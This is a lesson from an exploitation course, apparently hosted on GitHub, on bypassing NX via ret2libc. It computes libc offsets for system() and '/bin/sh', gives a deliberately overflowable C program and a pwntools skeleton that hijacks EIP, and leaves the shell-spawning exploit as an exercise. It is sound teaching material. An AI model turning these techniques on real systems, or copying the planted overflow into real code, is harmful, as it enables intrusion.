Skip to content

Latest commit

 

History

History
261 lines (209 loc) · 10.2 KB

File metadata and controls

261 lines (209 loc) · 10.2 KB

Bypassing NX with Ret2Libc

We were able to pick from a wealth of ROP gadgets to construct the ROP chain in the previous section because the binary was huge. Now, what happens if the binary we have to attack is not large enough to provide us the gadgets we need?

One possible solution, since ASLR is disabled, would be to search for our gadgets in the shared libraries loaded by the program such as libc. However, if we had these addresses into libc, we could simplify our exploit to reuse useful functions. One such useful function could be the amazing system() function.

Investigating Shared Libraries

To investigate this, we can create a diagnostic binary to introspectively look at the virtual memory map and to print us the resolved system() address. The source is as follows:

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>


int main() {
    puts("This program helps visualise where libc is loaded.\n");
    int pid = getpid();
    char command[500];
    puts("Memory Layout: ");
    sprintf(command, "cat /proc/%d/maps", pid);
    system(command);
    puts("\nFunction Addresses: ");
    printf("System@libc 0x%lx\n", dlsym(RTLD_NEXT, "system"));
    printf("PID: %d\n", pid);
    puts("Press enter to continue.");
    read(0, command, 1);
}

I have compiled two versions of the binary, a 32 bit version and a 64 bit version.

Running the 32 bit one:

amon@bethany:~/sproink/linux-exploitation-course/lessons/7_bypass_nx_ret2libc/build$ ./1_reveal_addresses
This program helps visualise where libc is loaded.

Memory Layout:
08048000-08049000 r-xp 00000000 00:27 329                                /vagrant/lessons/7_bypass_nx_ret2libc/build/1_reveal_addresses
08049000-0804a000 r--p 00000000 00:27 329                                /vagrant/lessons/7_bypass_nx_ret2libc/build/1_reveal_addresses
0804a000-0804b000 rw-p 00001000 00:27 329                                /vagrant/lessons/7_bypass_nx_ret2libc/build/1_reveal_addresses
0804b000-0806c000 rw-p 00000000 00:00 0                                  [heap]
f7e0f000-f7e10000 rw-p 00000000 00:00 0
f7e10000-f7fbf000 r-xp 00000000 08:01 256310                             /lib/i386-linux-gnu/libc-2.23.so
f7fbf000-f7fc0000 ---p 001af000 08:01 256310                             /lib/i386-linux-gnu/libc-2.23.so
f7fc0000-f7fc2000 r--p 001af000 08:01 256310                             /lib/i386-linux-gnu/libc-2.23.so
f7fc2000-f7fc3000 rw-p 001b1000 08:01 256310                             /lib/i386-linux-gnu/libc-2.23.so
f7fc3000-f7fc6000 rw-p 00000000 00:00 0
f7fc6000-f7fc9000 r-xp 00000000 08:01 256309                             /lib/i386-linux-gnu/libdl-2.23.so
f7fc9000-f7fca000 r--p 00002000 08:01 256309                             /lib/i386-linux-gnu/libdl-2.23.so
f7fca000-f7fcb000 rw-p 00003000 08:01 256309                             /lib/i386-linux-gnu/libdl-2.23.so
f7fd4000-f7fd6000 rw-p 00000000 00:00 0
f7fd6000-f7fd8000 r--p 00000000 00:00 0                                  [vvar]
f7fd8000-f7fd9000 r-xp 00000000 00:00 0                                  [vdso]
f7fd9000-f7ffb000 r-xp 00000000 08:01 256300                             /lib/i386-linux-gnu/ld-2.23.so
f7ffb000-f7ffc000 rw-p 00000000 00:00 0
f7ffc000-f7ffd000 r--p 00022000 08:01 256300                             /lib/i386-linux-gnu/ld-2.23.so
f7ffd000-f7ffe000 rw-p 00023000 08:01 256300                             /lib/i386-linux-gnu/ld-2.23.so
fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]

Function Addresses:
System@libc 0xf7e4ada0
PID: 20738
Press enter to continue.

Note the base address of libc-2-2.23.so (0xf7e10000) and the resolved address of system (0xf7e4ada0). Let's subtract the address of the base address from the address of system to get the system offset.

In [15]: 0xf7e4ada0-0xf7e10000
Out[15]: 241056
In [16]: hex(0xf7e4ada0-0xf7e10000)
Out[16]: '0x3ada0'

Take note of that offset, 0x3ada0. Next, we can disassemble the libc shared object and look for the start of the system function.

ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/build$ objdump -d /lib/i386-linux-gnu/libc-2.23.so  | grep system
0003ada0 <__libc_system@@GLIBC_PRIVATE>:
   3adb4:	74 0a                	je     3adc0 <__libc_system@@GLIBC_PRIVATE+0x20>
00112d60 <svcerr_systemerr@@GLIBC_2.0>:

That's a bingo. Notice how the offset we calculated previously is the same as the address of __libc_system@@GLIBC_PRIVATE.

We can repeat this with the 64 bit one:

This program helps visualise where libc is loaded.

Memory Layout:
00400000-00401000 r-xp 00000000 08:06 17434884                           /home/amon/sproink/linux-exploitation-course/lessons/7_bypass_nx_ret2libc/build/2_reveal_addresses64
00600000-00601000 r--p 00000000 08:06 17434884                           /home/amon/sproink/linux-exploitation-course/lessons/7_bypass_nx_ret2libc/build/2_reveal_addresses64
00601000-00602000 rw-p 00001000 08:06 17434884                           /home/amon/sproink/linux-exploitation-course/lessons/7_bypass_nx_ret2libc/build/2_reveal_addresses64
01609000-0162a000 rw-p 00000000 00:00 0                                  [heap]
7f649ccfe000-7f649cebd000 r-xp 00000000 08:06 262743                     /lib/x86_64-linux-gnu/libc-2.23.so
7f649cebd000-7f649d0bd000 ---p 001bf000 08:06 262743                     /lib/x86_64-linux-gnu/libc-2.23.so
7f649d0bd000-7f649d0c1000 r--p 001bf000 08:06 262743                     /lib/x86_64-linux-gnu/libc-2.23.so
7f649d0c1000-7f649d0c3000 rw-p 001c3000 08:06 262743                     /lib/x86_64-linux-gnu/libc-2.23.so
7f649d0c3000-7f649d0c7000 rw-p 00000000 00:00 0
7f649d0c7000-7f649d0ca000 r-xp 00000000 08:06 262742                     /lib/x86_64-linux-gnu/libdl-2.23.so
7f649d0ca000-7f649d2c9000 ---p 00003000 08:06 262742                     /lib/x86_64-linux-gnu/libdl-2.23.so
7f649d2c9000-7f649d2ca000 r--p 00002000 08:06 262742                     /lib/x86_64-linux-gnu/libdl-2.23.so
7f649d2ca000-7f649d2cb000 rw-p 00003000 08:06 262742                     /lib/x86_64-linux-gnu/libdl-2.23.so
7f649d2cb000-7f649d2f1000 r-xp 00000000 08:06 262410                     /lib/x86_64-linux-gnu/ld-2.23.so
7f649d4cd000-7f649d4d0000 rw-p 00000000 00:00 0
7f649d4ee000-7f649d4f0000 rw-p 00000000 00:00 0
7f649d4f0000-7f649d4f1000 r--p 00025000 08:06 262410                     /lib/x86_64-linux-gnu/ld-2.23.so
7f649d4f1000-7f649d4f2000 rw-p 00026000 08:06 262410                     /lib/x86_64-linux-gnu/ld-2.23.so
7f649d4f2000-7f649d4f3000 rw-p 00000000 00:00 0
7ffd9f7b7000-7ffd9f7d8000 rw-p 00000000 00:00 0                          [stack]
7ffd9f7e0000-7ffd9f7e2000 r--p 00000000 00:00 0                          [vvar]
7ffd9f7e2000-7ffd9f7e4000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

Function Addresses:
System@libc 0x7f649cd43390
PID: 16781
Press enter to continue.

Calculating the difference.

In [17]: 0x7f649cd43390-0x7f649ccfe000
Out[17]: 283536
In [18]: hex(0x7f649cd43390-0x7f649ccfe000)
Out[18]: '0x45390'

Finding the address of system in the 64 bit libc binary.

ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/build$ objdump -d /lib/x86_64-linux-gnu/libc-2.23.so | grep system
0000000000045390 <__libc_system@@GLIBC_PRIVATE>:
   45393:	74 0b                	je     453a0 <__libc_system@@GLIBC_PRIVATE+0x10>
0000000000137c20 <svcerr_systemerr@@GLIBC_2.2.5>:

And we have another match.

Calculating Addresses

This is useful information as now we have a way to calculate the addresses of useful functions given the base address of libc. Since shared objects are mapped at the same location without randomisation due to ASLR being disabled, we can very easily find the addresses of useful things such as the system() function and the /bin/sh string by examining the libc shared object on its own.

To make life easier, the 'libc-database' toolset by Niklas Baumstark, provides helper scripts to build a libc database, identify versions of libc from information leaks, and dump useful offsets. In the vagrant provisioning script, I have already added the pertinent libc versions used in the exercises.

ubuntu@ubuntu-xenial:~/libc-database$ ./identify /lib/i386-linux-gnu/libc-2.23.so
id local-03ffe08ba6d5e7f5b1d647f6a14e6837938e3bed
ubuntu@ubuntu-xenial:~/libc-database$ ./dump local-03ffe08ba6d5e7f5b1d647f6a14e6837938e3bed
offset___libc_start_main_ret = 0x18637
offset_system = 0x0003ada0
offset_dup2 = 0x000d6190
offset_read = 0x000d5980
offset_write = 0x000d59f0
offset_str_bin_sh = 0x15b82b
ubuntu@ubuntu-xenial:~/libc-database$

Exploiting a Minimalist Vulnerable Binary

Let's do the opposite of what we did the last section. Instead of attacking a bloated binary, we are going to attack a really lean and mean one. Something like this:

#include <stdio.h>
#include <stdlib.h>

void vuln() {
    char buffer[64];
    read(0, buffer, 96);
}

int main() {
    vuln();
}

Running the binary:

ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/build$ ./3_vulnerable
TEST
ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/build$

It really does not do much. Here is the skeleton exploit code to achieve EIP control.

#!/usr/bin/python

from pwn import *

def main():
    # Start the process
    p = process("../build/3_vulnerable")

    # Print the pid
    raw_input(str(p.proc.pid))

    # Craft the payload
    payload = "A"*76 + p32(0xdeadc0de)
    payload = payload.ljust(96, "\x00")

    # Send the payload
    p.send(payload)

    # Pass interaction to the user
    p.interactive()

if __name__ == "__main__":
    main()

Exercise 7.1: Writing the Final Exploit

At this point, it is simply a matter of finding at which address is libc mapped onto and then calculating the addresses of useful functions from the offsets we dumped.

Try to obtain a shell by making the necessary additions to the skeleton code. Please attempt to do this on your own before looking at the solution.